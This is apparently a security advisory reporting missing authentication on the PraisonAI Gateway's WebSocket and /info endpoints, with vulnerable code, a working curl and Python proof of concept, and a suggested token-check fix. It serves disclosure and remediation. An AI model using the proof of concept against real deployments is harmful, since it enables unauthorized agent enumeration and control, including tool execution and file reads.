summary: PraisonAI Has Missing Authentication in WebSocket Gateway
details: "### Summary\n\nThe PraisonAI Gateway server accepts WebSocket connections at `/ws` and serves agent topology at `/info` with no authentication. Any network client can connect, enumerate registered agents, and send arbitrary messages to agents and their tool sets.\n\n### Details\n\n`gateway/server.py:242` (source) -> `gateway/server.py:250` (sink)\n```python\n# source -- /info leaks all agent IDs with no auth\nasync def info(request):\n    return JSONResponse({\n        \"agents\": list(self._agents.keys()),\n        \"sessions\": len(self._sessions),\n        \"clients\": len(self._clients),\n    })\n\n# sink -- WebSocket accepted unconditionally, no token check\nasync def websocket_endpoint(websocket: WebSocket):\n    await websocket.accept()\n    client_id = str(uuid.uuid4())\n    self._clients[client_id] = websocket\n    # processes any message from any client\n```\n\n### PoC\n```bash\n# tested on: praisonai==4.5.87 (source install)\n# install: pip install -e src/praisonai\n# start server:\n# python3 -c \"import asyncio; from praisonai.gateway.server import WebSocketGateway; asyncio.run(WebSocketGateway(host='127.0.0.1', port=8765).start())\" &\n\n# Step 1 - enumerate agents, no auth\ncurl -s http://127.0.0.1:8765/info\n# expected output: {\"name\":\"PraisonAI Gateway\",\"version\":\"1.0.0\",\"agents\":[...],\"sessions\":0,\"clients\":0}\n\n# Step 2 - connect to WebSocket, no token\npython3 -c \"\n import asyncio, websockets, json\nasync def run():\n    async with websockets.connect('ws://127.0.0.1:8765/ws') as ws:\n        print('Connected with no auth')\n        await ws.send(json.dumps({'type': 'join', 'agent_id': 'assistant'}))\n        print(await asyncio.wait_for(ws.recv(), timeout=3))\nasyncio.run(run())\n\"\n# expected output: Connected with no auth\n # {\"type\": ...} -- server responds, connection accepted\n```\n\n### Impact\n\n Any unauthenticated attacker with network access can connect to the WebSocket gateway, enumerate all registered agents via `/info`, and send arbitrary messages to agents including tool execution, file reads, and API calls. `GatewayConfig` has an `auth_token` field that is never enforced in the handler.\n\n### Suggested Fix\n```python\nasync def websocket_endpoint(websocket: WebSocket):\n    token = websocket.query_params.get(\"token\") or \\\n            websocket.headers.get(\"Authorization\", \"\").removeprefix(\"Bearer \")\n    if self._config.auth_token and token != self._config.auth_token:\n        await websocket.close(code=4001, reason=\"Unauthorized\")\n        return\n    await websocket.accept()\n```"
